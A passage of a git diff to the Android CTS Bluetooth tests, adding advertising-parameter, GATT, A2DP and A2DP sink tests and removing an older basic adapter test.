+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setPrimaryPhy(PHY_LE_CODED)
+                .build();
+        assertEquals(PHY_LE_CODED, params.getPrimaryPhy());
+    }
+
+    @Test
+    public void testSetSecondaryPhyWithInvalidValue() {
+        int INVALID_SECONDARY_PHY = -1;
+        try {
+            // Set invalid value
+            new AdvertisingSetParameters.Builder().setSecondaryPhy(INVALID_SECONDARY_PHY);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testSetSecondaryPhyWithLE1M() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setSecondaryPhy(PHY_LE_1M)
+                .build();
+        assertEquals(PHY_LE_1M, params.getSecondaryPhy());
+    }
+
+    @Test
+    public void testSetSecondaryPhyWithLE2M() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setSecondaryPhy(PHY_LE_2M)
+                .build();
+        assertEquals(PHY_LE_2M, params.getSecondaryPhy());
+    }
+
+    @Test
+    public void testSetSecondaryPhyWithLECoded() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setSecondaryPhy(PHY_LE_CODED)
+                .build();
+        assertEquals(PHY_LE_CODED, params.getSecondaryPhy());
+    }
+
+    @Test
+    public void testIntervalWithInvalidValues() {
+        int[] invalidValues = {INTERVAL_MIN - 1, INTERVAL_MAX + 1};
+        for (int i = 0; i < invalidValues.length; i++) {
+            try {
+                // Set invalid value
+                new AdvertisingSetParameters.Builder().setInterval(invalidValues[i]);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        }
+    }
+
+    @Test
+    public void testInterval() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setInterval(INTERVAL_MEDIUM)
+                .build();
+        assertEquals(INTERVAL_MEDIUM, params.getInterval());
+    }
+
+    @Test
+    public void testTxPowerLevelWithInvalidValues() {
+        int[] invalidValues = { TX_POWER_MIN - 1, TX_POWER_MAX + 1 };
+        for (int i = 0; i < invalidValues.length; i++) {
+            try {
+                // Set invalid value
+                new AdvertisingSetParameters.Builder().setTxPowerLevel(TX_POWER_MIN - 1);
+                fail();
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        }
+    }
+
+    @Test
+    public void testTxPowerLevel() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder()
+                .setTxPowerLevel(TX_POWER_MEDIUM)
+                .build();
+        assertEquals(TX_POWER_MEDIUM, params.getTxPowerLevel());
+    }
+
+    @Test
+    public void testIsAnonymous() {
+        AdvertisingSetParameters params =
+                new AdvertisingSetParameters.Builder().setAnonymous(true).build();
+        assertTrue(params.isAnonymous());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        AdvertisingSetParameters params = new AdvertisingSetParameters.Builder().build();
+        assertEquals(0, params.describeContents());
+    }
+
+    private void assertParamsEquals(AdvertisingSetParameters p, AdvertisingSetParameters other) {
+        if (p == null && other == null) {
+            return;
+        }
+
+        if (p == null || other == null) {
+            fail("Cannot compare null with non-null value: p=" + p + ", other=" + other);
+        }
+
+        assertEquals(p.isConnectable(), other.isConnectable());
+        assertEquals(p.isScannable(), other.isScannable());
+        assertEquals(p.isLegacy(), other.isLegacy());
+        assertEquals(p.isAnonymous(), other.isAnonymous());
+        assertEquals(p.includeTxPower(), other.includeTxPower());
+        assertEquals(p.getPrimaryPhy(), other.getPrimaryPhy());
+        assertEquals(p.getSecondaryPhy(), other.getSecondaryPhy());
+        assertEquals(p.getInterval(), other.getInterval());
+        assertEquals(p.getTxPowerLevel(), other.getTxPowerLevel());
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
deleted file mode 100644
index cd24db4..0000000
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicAdapterTest.java
+++ /dev/null
@@ -1,293 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.bluetooth.cts;
-
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.BluetoothDevice;
-import android.bluetooth.BluetoothServerSocket;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.util.Set;
-import java.util.UUID;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.locks.Condition;
-import java.util.concurrent.locks.ReentrantLock;
-
-/**
- * Very basic test, just of the static methods of {@link
- * BluetoothAdapter}.
- */
-public class BasicAdapterTest extends AndroidTestCase {
-    private static final String TAG = "BasicAdapterTest";
-    private static final int SET_NAME_TIMEOUT = 5000; // ms timeout for setting adapter name
-
-    private boolean mHasBluetooth;
-    private ReentrantLock mAdapterNameChangedlock;
-    private Condition mConditionAdapterNameChanged;
-    private boolean mIsAdapterNameChanged;
-
-    public void setUp() throws Exception {
-        super.setUp();
-
-        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_BLUETOOTH);
-        mAdapterNameChangedlock = new ReentrantLock();
-        mConditionAdapterNameChanged = mAdapterNameChangedlock.newCondition();
-        mIsAdapterNameChanged = false;
-    }
-
-    public void test_getDefaultAdapter() {
-        /*
-         * Note: If the target doesn't support Bluetooth at all, then
-         * this method should return null.
-         */
-        if (mHasBluetooth) {
-            assertNotNull(BluetoothAdapter.getDefaultAdapter());
-        } else {
-            assertNull(BluetoothAdapter.getDefaultAdapter());
-        }
-    }
-
-    public void test_checkBluetoothAddress() {
-        // Can't be null.
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(null));
-
-        // Must be 17 characters long.
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(""));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("0"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:0"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:0"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:0"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:0"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress("00:00:00:00:00:"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00:00:00:00:00:0"));
-
-        // Must have colons between octets.
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00x00:00:00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00:00.00:00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00:00:00-00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00:00:00:00900:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00:00:00:00:00?00"));
-
-        // Hex letters must be uppercase.
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "a0:00:00:00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "0b:00:00:00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00:c0:00:00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00:0d:00:00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00:00:e0:00:00:00"));
-        assertFalse(BluetoothAdapter.checkBluetoothAddress(
-            "00:00:0f:00:00:00"));
-
-        assertTrue(BluetoothAdapter.checkBluetoothAddress(
-            "00:00:00:00:00:00"));
-        assertTrue(BluetoothAdapter.checkBluetoothAddress(
-            "12:34:56:78:9A:BC"));
-        assertTrue(BluetoothAdapter.checkBluetoothAddress(
-            "DE:F0:FE:DC:B8:76"));
-    }
-
-    /** Checks enable(), disable(), getState(), isEnabled() */
-    public void test_enableDisable() {
-        if (!mHasBluetooth) {
-            // Skip the test if bluetooth is not present.
-            return;
-        }
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
-        for (int i=0; i<5; i++) {
-            assertTrue(BTAdapterUtils.disableAdapter(adapter, mContext));
-            assertTrue(BTAdapterUtils.enableAdapter(adapter, mContext));
-        }
-    }
-
-    public void test_getAddress() {
-        if (!mHasBluetooth) {
-            // Skip the test if bluetooth is not present.
-            return;
-        }
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-        assertTrue(BTAdapterUtils.enableAdapter(adapter, mContext));
-
-        assertTrue(BluetoothAdapter.checkBluetoothAddress(adapter.getAddress()));
-    }
-
-    public void test_setName_getName() {
-        if (!mHasBluetooth) {
-            // Skip the test if bluetooth is not present.
-            return;
-        }
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-        assertTrue(BTAdapterUtils.enableAdapter(adapter, mContext));
-
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED);
-        filter.setPriority(IntentFilter.SYSTEM_HIGH_PRIORITY);
-        mContext.registerReceiver(mAdapterNameChangeReceiver, filter);
-
-        String name = adapter.getName();
-        assertNotNull(name);
-
-        // Check renaming the adapter
-        String genericName = "Generic Device 1";
-        mIsAdapterNameChanged = false;
-        assertTrue(adapter.setName(genericName));
-        assertTrue(waitForAdapterNameChange());
-        mIsAdapterNameChanged = false;
-        assertEquals(genericName, adapter.getName());
-
-        // Check setting adapter back to original name
-        assertTrue(adapter.setName(name));
-        assertTrue(waitForAdapterNameChange());
-        mIsAdapterNameChanged = false;
-        assertEquals(name, adapter.getName());
-    }
-
-    public void test_getBondedDevices() {
-        if (!mHasBluetooth) {
-            // Skip the test if bluetooth is not present.
-            return;
-        }
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-        assertTrue(BTAdapterUtils.enableAdapter(adapter, mContext));
-
-        Set<BluetoothDevice> devices = adapter.getBondedDevices();
-        assertNotNull(devices);
-        for (BluetoothDevice device : devices) {
-            assertTrue(BluetoothAdapter.checkBluetoothAddress(device.getAddress()));
-        }
-    }
-
-    public void test_getRemoteDevice() {
-        if (!mHasBluetooth) {
-            // Skip the test if bluetooth is not present.
-            return;
-        }
-        // getRemoteDevice() should work even with Bluetooth disabled
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-        assertTrue(BTAdapterUtils.disableAdapter(adapter, mContext));
-
-        // test bad addresses
-        try {
-            adapter.getRemoteDevice((String)null);
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {}
-        try {
-            adapter.getRemoteDevice("00:00:00:00:00:00:00:00");
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {}
-        try {
-            adapter.getRemoteDevice((byte[])null);
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {}
-        try {
-            adapter.getRemoteDevice(new byte[] {0x00, 0x00, 0x00, 0x00, 0x00});
-            fail("IllegalArgumentException not thrown");
-        } catch (IllegalArgumentException e) {}
-
-        // test success
-        BluetoothDevice device = adapter.getRemoteDevice("00:11:22:AA:BB:CC");
-        assertNotNull(device);
-        assertEquals("00:11:22:AA:BB:CC", device.getAddress());
-        device = adapter.getRemoteDevice(
-                new byte[] {0x01, 0x02, 0x03, 0x04, 0x05, 0x06});
-        assertNotNull(device);
-        assertEquals("01:02:03:04:05:06", device.getAddress());
-    }
-
-    public void test_listenUsingRfcommWithServiceRecord() throws IOException {
-        if (!mHasBluetooth) {
-            // Skip the test if bluetooth is not present.
-            return;
-        }
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-        assertTrue(BTAdapterUtils.enableAdapter(adapter, mContext));
-
-        BluetoothServerSocket socket = adapter.listenUsingRfcommWithServiceRecord(
-                "test", UUID.randomUUID());
-        assertNotNull(socket);
-        socket.close();
-    }
-
-    private static void sleep(long t) {
-        try {
-            Thread.sleep(t);
-        } catch (InterruptedException e) {}
-    }
-
-    private boolean waitForAdapterNameChange() {
-        mAdapterNameChangedlock.lock();
-        try {
-            // Wait for the Adapter name to be changed
-            while (!mIsAdapterNameChanged) {
-                if (!mConditionAdapterNameChanged.await(
-                        SET_NAME_TIMEOUT, TimeUnit.MILLISECONDS)) {
-                    Log.e(TAG, "Timeout while waiting for adapter name change");
-                    break;
-                }
-            }
-        } catch (InterruptedException e) {
-            Log.e(TAG, "waitForAdapterNameChange: interrrupted");
-        } finally {
-            mAdapterNameChangedlock.unlock();
-        }
-        return mIsAdapterNameChanged;
-    }
-
-    private final BroadcastReceiver mAdapterNameChangeReceiver = new BroadcastReceiver() {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            if (action.equals(BluetoothAdapter.ACTION_LOCAL_NAME_CHANGED)) {
-                mAdapterNameChangedlock.lock();
-                mIsAdapterNameChanged = true;
-                try {
-                    mConditionAdapterNameChanged.signal();
-                } catch (IllegalMonitorStateException ex) {
-                } finally {
-                    mAdapterNameChangedlock.unlock();
-                }
-            }
-        }
-    };
-}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BasicBluetoothGattTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicBluetoothGattTest.java
new file mode 100644
index 0000000..f9531fb
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BasicBluetoothGattTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothGatt;
+import android.bluetooth.BluetoothGattCallback;
+import android.bluetooth.BluetoothGattService;
+import android.bluetooth.BluetoothManager;
+import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.List;
+
+/**
+ * Tests a small part of the {@link BluetoothGatt} methods without a real Bluetooth device.
+ * Other tests that run with real bluetooth connections are located in CtsVerifier.
+ */
+public class BasicBluetoothGattTest extends AndroidTestCase {
+
+    private BluetoothAdapter mBluetoothAdapter;
+    private BluetoothDevice mBluetoothDevice;
+    private BluetoothGatt mBluetoothGatt;
+
+    @Override
+    public void setUp() {
+        if (!TestUtils.isBleSupported(getContext())) {
+            return;
+        }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+            .adoptShellPermissionIdentity(android.Manifest.permission.BLUETOOTH_CONNECT);
+
+        mBluetoothAdapter = mContext.getSystemService(BluetoothManager.class).getAdapter();
+        if (!mBluetoothAdapter.isEnabled()) {
+            assertTrue(BTAdapterUtils.enableAdapter(mBluetoothAdapter, mContext));
+        }
+        mBluetoothDevice = mBluetoothAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+        mBluetoothGatt = mBluetoothDevice.connectGatt(
+                mContext, /*autoConnect=*/ true, new BluetoothGattCallback() {});
+    }
+
+    @Override
+    public void tearDown() {
+        if (!TestUtils.isBleSupported(getContext())) {
+            // mBluetoothAdapter == null.
+            return;
+        }
+        mBluetoothGatt.disconnect();
+        assertTrue(BTAdapterUtils.disableAdapter(mBluetoothAdapter, mContext));
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+            .dropShellPermissionIdentity();
+    }
+
+    public void testGetServices() throws Exception {
+        if (!TestUtils.isBleSupported(getContext())) {
+            return;
+        }
+
+        // getServices() returns an empty list if service discovery has not yet been performed.
+        List<BluetoothGattService> services = mBluetoothGatt.getServices();
+        assertNotNull(services);
+        assertTrue(services.isEmpty());
+    }
+
+    public void testConnect() throws Exception {
+        if (!TestUtils.isBleSupported(getContext())) {
+            return;
+        }
+
+        try {
+            mBluetoothGatt.connect();
+        } catch (Exception e) {
+            fail("Exception caught from connect(): " + e.toString());
+        }
+    }
+
+    public void testSetPreferredPhy() throws Exception {
+        if (!TestUtils.isBleSupported(getContext())) {
+            return;
+        }
+
+        try {
+            mBluetoothGatt.setPreferredPhy(BluetoothDevice.PHY_LE_1M, BluetoothDevice.PHY_LE_1M,
+                    BluetoothDevice.PHY_OPTION_NO_PREFERRED);
+        } catch (Exception e) {
+            fail("Exception caught from setPreferredPhy(): " + e.toString());
+        }
+    }
+
+    public void testGetConnectedDevices() {
+        if (!TestUtils.isBleSupported(getContext())) {
+            return;
+        }
+        try {
+            mBluetoothGatt.getConnectedDevices();
+            fail("Should throw UnsupportedOperationException!");
+        } catch (UnsupportedOperationException ex) {
+            // Expected
+        }
+    }
+
+    public void testGetConnectionState() {
+        if (!TestUtils.isBleSupported(getContext())) {
+            return;
+        }
+        try {
+            mBluetoothGatt.getConnectionState(null);
+            fail("Should throw UnsupportedOperationException!");
+        } catch (UnsupportedOperationException ex) {
+            // Expected
+        }
+    }
+
+    public void testGetDevicesMatchingConnectionStates() {
+        if (!TestUtils.isBleSupported(getContext())) {
+            return;
+        }
+        try {
+            mBluetoothGatt.getDevicesMatchingConnectionStates(null);
+            fail("Should throw UnsupportedOperationException!");
+        } catch (UnsupportedOperationException ex) {
+            // Expected
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java
new file mode 100644
index 0000000..dde5621
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java
@@ -0,0 +1,177 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import static org.junit.Assert.assertThrows;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothA2dpSink;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class BluetoothA2dpSinkTest extends AndroidTestCase {
+    private static final String TAG = BluetoothA2dpSinkTest.class.getSimpleName();
+
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;;
+
+    private BluetoothA2dpSink mBluetoothA2dpSink;
+    private boolean mIsA2dpSinkSupported;
+    private boolean mIsProfileReady;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) return;
+
+        mIsA2dpSinkSupported = TestUtils.isProfileEnabled(BluetoothProfile.A2DP_SINK);
+        if (!mIsA2dpSinkSupported) return;
+
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mProfileConnectedlock = new ReentrantLock();
+        mConditionProfileIsConnected = mProfileConnectedlock.newCondition();
+        mIsProfileReady = false;
+        mBluetoothA2dpSink = null;
+
+        mAdapter.getProfileProxy(getContext(), new BluetoothA2dpSinkServiceListener(),
+                BluetoothProfile.A2DP_SINK);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (!(mHasBluetooth && mIsA2dpSinkSupported)) {
+            return;
+        }
+        if (mAdapter != null && mBluetoothA2dpSink != null) {
+            mAdapter.closeProfileProxy(BluetoothProfile.A2DP_SINK, mBluetoothA2dpSink);
+            mBluetoothA2dpSink = null;
+            mIsProfileReady = false;
+        }
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        mUiAutomation.dropShellPermissionIdentity();
+        mAdapter = null;
+    }
+
+    public void test_getConnectedDevices() {
+        if (!(mHasBluetooth && mIsA2dpSinkSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dpSink);
+
+        assertEquals(mBluetoothA2dpSink.getConnectedDevices(), new ArrayList<BluetoothDevice>());
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class, () -> mBluetoothA2dpSink.getConnectedDevices());
+    }
+
+    public void test_getDevicesMatchingConnectionStates() {
+        if (!(mHasBluetooth && mIsA2dpSinkSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dpSink);
+
+        assertEquals(mBluetoothA2dpSink.getDevicesMatchingConnectionStates(
+                new int[]{BluetoothProfile.STATE_CONNECTED}),
+                new ArrayList<BluetoothDevice>());
+    }
+
+    public void test_getConnectionState() {
+        if (!(mHasBluetooth && mIsA2dpSinkSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dpSink);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertEquals(mBluetoothA2dpSink.getConnectionState(testDevice),
+                BluetoothProfile.STATE_DISCONNECTED);
+
+        mUiAutomation.dropShellPermissionIdentity();
+        assertThrows(SecurityException.class,
+                () -> mBluetoothA2dpSink.getConnectionState(testDevice));
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class BluetoothA2dpSinkServiceListener implements
+            BluetoothProfile.ServiceListener {
+
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mBluetoothA2dpSink = (BluetoothA2dpSink) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
new file mode 100644
index 0000000..6d94b3f
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpTest.java
@@ -0,0 +1,234 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+
+import android.app.UiAutomation;
+import android.bluetooth.BluetoothA2dp;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothProfile;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.ArrayList;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+public class BluetoothA2dpTest extends AndroidTestCase {
+    private static final String TAG = BluetoothA2dpTest.class.getSimpleName();
+
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+    private UiAutomation mUiAutomation;
+
+    private BluetoothA2dp mBluetoothA2dp;
+    private boolean mIsA2dpSupported;
+    private boolean mIsProfileReady;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) return;
+
+        mIsA2dpSupported = TestUtils.isProfileEnabled(BluetoothProfile.A2DP);
+        if (!mIsA2dpSupported) return;
+
+        mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        mUiAutomation.adoptShellPermissionIdentity(BLUETOOTH_CONNECT);
+
+        BluetoothManager manager = getContext().getSystemService(BluetoothManager.class);
+        mAdapter = manager.getAdapter();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mProfileConnectedlock = new ReentrantLock();
+        mConditionProfileIsConnected = mProfileConnectedlock.newCondition();
+        mIsProfileReady = false;
+        mBluetoothA2dp = null;
+
+        mAdapter.getProfileProxy(getContext(), new BluetoothA2dpServiceListener(),
+                BluetoothProfile.A2DP);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        super.tearDown();
+        if (!(mHasBluetooth && mIsA2dpSupported)) {
+            return;
+        }
+        if (mAdapter != null && mBluetoothA2dp != null) {
+            mAdapter.closeProfileProxy(BluetoothProfile.A2DP, mBluetoothA2dp);
+            mBluetoothA2dp = null;
+            mIsProfileReady = false;
+        }
+        if (mAdapter != null) {
+            assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+        }
+        mAdapter = null;
+        mUiAutomation.dropShellPermissionIdentity();
+    }
+
+    public void test_getConnectedDevices() {
+        if (!(mHasBluetooth && mIsA2dpSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dp);
+
+        assertEquals(mBluetoothA2dp.getConnectedDevices(),
+                new ArrayList<BluetoothDevice>());
+    }
+
+    public void test_getDevicesMatchingConnectionStates() {
+        if (!(mHasBluetooth && mIsA2dpSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dp);
+
+        assertEquals(mBluetoothA2dp.getDevicesMatchingConnectionStates(
+                new int[]{BluetoothProfile.STATE_CONNECTED}),
+                new ArrayList<BluetoothDevice>());
+    }
+
+    public void test_getConnectionState() {
+        if (!(mHasBluetooth && mIsA2dpSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dp);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertEquals(mBluetoothA2dp.getConnectionState(testDevice),
+                BluetoothProfile.STATE_DISCONNECTED);
+    }
+
+    public void test_isA2dpPlaying() {
+        if (!(mHasBluetooth && mIsA2dpSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dp);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertFalse(mBluetoothA2dp.isA2dpPlaying(testDevice));
+    }
+
+    public void test_getCodecStatus() {
+        if (!(mHasBluetooth && mIsA2dpSupported)) return;
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothA2dp);
+
+        BluetoothDevice testDevice = mAdapter.getRemoteDevice("00:11:22:AA:BB:CC");
+
+        assertNull(mBluetoothA2dp.getCodecStatus(testDevice));
